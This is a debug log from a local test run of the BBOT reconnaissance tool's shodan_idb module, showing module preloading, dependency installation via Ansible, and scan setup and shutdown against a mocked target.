14:43:36,409 [VERBOSE] bbot.core.helpers.web.client logger.py:151 Creating httpx.AsyncClient((), {'transport': <httpx.AsyncHTTPTransport object at 0x10ec212b0>, 'verify': <ssl.SSLContext object at 0x10ec85630>, 'timeout': 10, 'headers': {'User-Agent': 'BBOT Test User-Agent'}, 'cookies': {}, 'proxy': None}) +2026-02-27 14:43:36,414 [DEBUG] bbot.modules.shodan_idb base.py:1563 Finished handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 14:43:36,481 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) from TARGET +2026-02-27 14:43:36,482 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) passed post-check +2026-02-27 14:43:36,501 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-02-27 14:43:36,503 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-02-27 14:43:36,503 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 14:43:36,521 [DEBUG] bbot.modules.shodan_idb base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-idb'}) because its type is FINISHED +2026-02-27 14:43:36,522 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 14:43:36,523 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 14:43:36,523 [VERBOSE] bbot.scanner logger.py:151 Completed finish() +2026-02-27 14:43:36,523 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 14:43:36,524 [DEBUG] bbot.modules.shodan_idb base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-idb'}) from None +2026-02-27 14:43:36,524 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 14:43:36,624 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 14:43:36,624 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() +2026-02-27 14:43:36,633 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 14:43:36,633 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 14:43:36,633 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 14:43:36,638 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 14:43:36,638 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... +2026-02-27 14:43:36,639 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 14:43:36,639 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal +2026-02-27 14:43:36,639 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... +2026-02-27 14:43:36,640 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down +2026-02-27 14:43:36,641 [VERBOSE] bbot.core.webhelper logger.py:151 EngineClient WebHelper: shutting down... +2026-02-27 14:43:36,642 [VERBOSE] bbot.core.httpengine logger.py:151 EngineServer HTTPEngine got shutdown signal +2026-02-27 14:43:36,642 [VERBOSE] bbot.core.httpengine logger.py:151 EngineServer HTTPEngine: shutting down... +2026-02-27 14:43:36,642 [VERBOSE] bbot.core.httpengine logger.py:151 EngineServer HTTPEngine: finished shutting down +2026-02-27 14:43:36,708 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_idb_test_4z8bbmuspg completed in 0 seconds with status FINISHED +2026-02-27 14:43:36,708 [DEBUG] bbot base.py:113 Finished shodan_idb module test +2026-02-27 14:43:36,709 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-02-27 14:45:14,110 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules +2026-02-27 14:45:14,117 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 14:45:14,117 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 14:45:14,118 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 14:45:14,118 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 14:45:14,119 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 14:45:14,119 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 14:45:14,120 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 14:45:14,120 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 14:45:14,120 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 14:45:14,121 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 14:45:14,121 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 14:45:14,123 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 14:45:14,124 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 14:45:14,124 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 14:45:14,125 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 14:45:14,125 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 14:45:14,126 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 14:45:14,126 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 14:45:14,127 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 14:45:14,127 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 14:45:14,127 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 14:45:14,128 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 14:45:14,128 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 14:45:14,129 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 14:45:14,129 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 14:45:14,130 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 14:45:14,130 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 14:45:14,130 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 14:45:14,131 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 14:45:14,131 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 14:45:14,131 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 14:45:14,132 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 14:45:14,132 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 14:45:14,133 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 14:45:14,133 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 14:45:14,133 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 14:45:14,134 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 14:45:14,137 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 14:45:14,137 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 14:45:14,138 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 14:45:14,138 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 14:45:14,139 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 14:45:14,139 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 14:45:14,139 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 14:45:14,140 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 14:45:14,140 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 14:45:14,140 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 14:45:14,141 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 14:45:14,142 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 14:45:14,142 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 14:45:14,142 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 14:45:14,143 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 14:45:14,143 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 14:45:14,144 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 14:45:14,144 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 14:45:14,144 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 14:45:14,145 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 14:45:14,145 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 14:45:14,145 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 14:45:14,146 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 14:45:14,146 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 14:45:14,147 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 14:45:14,147 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 14:45:14,147 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 14:45:14,148 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 14:45:14,149 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 14:45:14,149 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 14:45:14,150 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 14:45:14,150 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 14:45:14,150 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 14:45:14,151 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 14:45:14,151 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 14:45:14,151 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 14:45:14,152 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 14:45:14,152 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 14:45:14,153 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 14:45:14,153 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 14:45:14,153 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 14:45:14,154 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 14:45:14,154 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 14:45:14,155 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 14:45:14,155 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 14:45:14,155 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 14:45:14,156 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 14:45:14,156 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 14:45:14,156 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 14:45:14,157 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 14:45:14,157 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 14:45:14,157 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 14:45:14,158 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 14:45:14,159 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 14:45:14,159 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 14:45:14,159 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 14:45:14,160 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 14:45:14,160 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 14:45:14,161 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 14:45:14,161 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 14:45:14,161 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 14:45:14,162 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 14:45:14,162 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 14:45:14,163 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 14:45:14,163 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 14:45:14,164 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 14:45:14,164 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 14:45:14,164 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 14:45:14,165 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 14:45:14,165 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 14:45:14,166 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 14:45:14,166 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 14:45:14,166 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 14:45:14,167 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 14:45:14,167 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 14:45:14,167 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 14:45:14,168 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 14:45:14,168 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 14:45:14,168 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report +2026-02-27 14:45:14,169 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 14:45:14,169 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 14:45:14,170 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly +2026-02-27 14:45:14,170 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 14:45:14,171 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal +2026-02-27 14:45:14,171 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 14:45:14,171 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 14:45:14,172 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 14:45:14,172 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 14:45:14,173 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 14:45:14,173 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 14:45:14,173 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates +2026-02-27 14:45:14,174 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 14:45:14,174 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 14:45:14,175 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 14:45:14,175 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 14:45:14,176 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 14:45:14,176 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 14:45:14,177 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 14:45:14,178 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 14:45:14,180 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 14:45:14,181 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 14:45:14,182 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 14:45:14,182 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 14:45:14,183 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 14:45:14,183 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 14:45:14,184 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 14:45:14,185 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 14:45:14,185 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 14:45:14,185 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output +2026-02-27 14:45:14,186 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 14:45:14,186 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 14:45:14,187 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 14:45:14,187 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 14:45:14,188 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 14:45:14,188 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 14:45:14,189 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 14:45:14,189 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 14:45:14,190 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 14:45:14,190 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 14:45:14,191 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 14:45:14,191 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 14:45:14,192 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 14:45:14,192 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 14:45:14,192 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 14:45:14,193 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 14:45:14,193 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 14:45:14,194 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 14:45:14,194 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 14:45:14,195 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 14:45:14,195 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 14:45:14,196 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz +2026-02-27 14:45:14,196 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 14:45:14,990 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-02-27 14:45:14,990 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-02-27 14:45:14,990 [INFO] bbot base.py:99 Starting shodan_idb module test +2026-02-27 14:45:15,084 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 14:45:15,467 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_idb" of type "scan" +2026-02-27 14:45:15,467 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 14:45:15,467 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 14:45:15,468 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 14:45:15,597 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 14:45:15,598 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 14:45:15,705 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 14:45:15,705 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 14:45:15,731 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 14:45:15,733 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 14:45:15,733 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general +2026-02-27 14:45:16,137 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 14:45:16,137 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 15:00:04,662 [WARNING] bbot.core.helpers.depsinstaller installer.py:443 Incorrect password +2026-02-27 15:00:09,434 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful +2026-02-27 15:00:09,435 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 15:00:09,436 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 15:00:12,930 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 15:00:12,931 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 15:00:12,935 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 15:00:12,935 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 15:00:12,935 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 15:00:12,935 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 15:00:12,936 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 15:00:12,936 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 15:00:12,936 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_idb - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 15:00:12,936 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "shodan_idb" +2026-02-27 15:00:12,937 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_idb +2026-02-27 15:00:13,003 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_idb" +2026-02-27 15:00:13,003 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_idb) +2026-02-27 15:00:13,003 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 15:00:13,005 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" +2026-02-27 15:00:13,005 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" +2026-02-27 15:00:13,006 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 15:00:13,006 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python +2026-02-27 15:00:13,007 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" +2026-02-27 15:00:13,007 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 15:00:13,007 [VERBOSE] bbot.scanner logger.py:151 Setting up modules +2026-02-27 15:00:13,008 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 15:00:13,008 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 15:00:13,008 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 15:00:13,008 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 15:00:13,009 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 15:00:13,009 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 15:00:13,009 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 15:00:13,009 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve 